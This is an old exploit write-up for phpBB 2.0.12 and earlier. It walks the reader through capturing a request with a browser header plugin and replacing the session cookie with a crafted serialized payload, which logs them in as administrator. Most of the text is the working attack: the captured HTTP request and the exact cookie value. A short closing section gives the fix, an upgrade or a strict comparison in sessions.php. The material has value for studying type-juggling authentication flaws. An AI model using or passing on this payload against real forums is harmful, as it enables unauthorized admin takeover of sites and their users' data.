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Written by pureone@spywire.net 
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Exploit : 2.0.x >= phpbb 2.0.12 :
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Lets get on with the show shall we?
your need firefox which is found > http://www.mozilla.org/ 
your also need the HTTP live headers plug in found > 
http://livehttpheaders.mozdev.org/ 
ok once installed find your self a phpbb forum i suggest you install one 
localy
you may need http://www.apachefriends.org/en/xampp.html 
&  http://prdownloads.sourceforge.net/phpbb/phpBB-2.0.12.zip?download 

ok once installed open your browser at http://127.0.0.1 
open HTTP live headers which is found in tools.

look for the packet that says

GET /phpbb2/index.php HTTP/1.1
Host : localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) 
Gecko/20041107 Firefox/1.0
Accept: 
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 

Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: phpbb2support_data=a%3A0%3A%7B%7D

click replay
On this line
Cookie: phpbb2support_data=a%3A0%3A%7B%7D
Replace the a%3A0%3A%7B%7D with
a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D

then once again click replay.
now you should beable to see the admin control panel.
and you will be logged in as the admin.
exploited!
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Solution :
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update to phpbb 2.0.13 or what ever version is out
at the present time of reading this.

or

open> includes/sessions.php
find
if( $sessiondata['autologinid'] == $auto_login_key )

replace with
if( $sessiondata['autologinid'] === $auto_login_key )

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